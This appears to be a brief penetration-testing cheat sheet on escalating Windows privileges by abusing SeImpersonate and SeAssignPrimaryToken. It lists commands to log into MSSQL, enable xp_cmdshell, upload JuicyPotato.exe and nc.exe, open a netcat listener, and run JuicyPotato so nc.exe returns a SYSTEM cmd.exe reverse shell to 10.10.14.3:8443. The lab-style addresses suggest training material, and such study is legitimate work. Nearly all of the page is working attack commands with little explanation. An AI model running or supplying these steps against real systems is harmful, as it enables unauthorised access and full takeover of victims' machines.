Abuse of SeImpersonate and SeAssignPrimaryToken
Recursos
Tools
# Connecting with MSSQLClient.py
mssqlclient.py sql_dev@10.129.43.30 -windows-auth
# Enabling xp_cmdshell
SQL> enable_xp_cmdshell
# Confirming Access
SQL> xp_cmdshell whoami
# Checking Account Privileges
SQL> xp_cmdshell whoami /priv
# Download the JuicyPotato.exe and upload this and nc.exe to the target server
# Escalating Privileges Using JuicyPotato
# Stand up a Netcat listener on port 8443
sudo nc -lnvp 8443
SQL> xp_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t *Last updated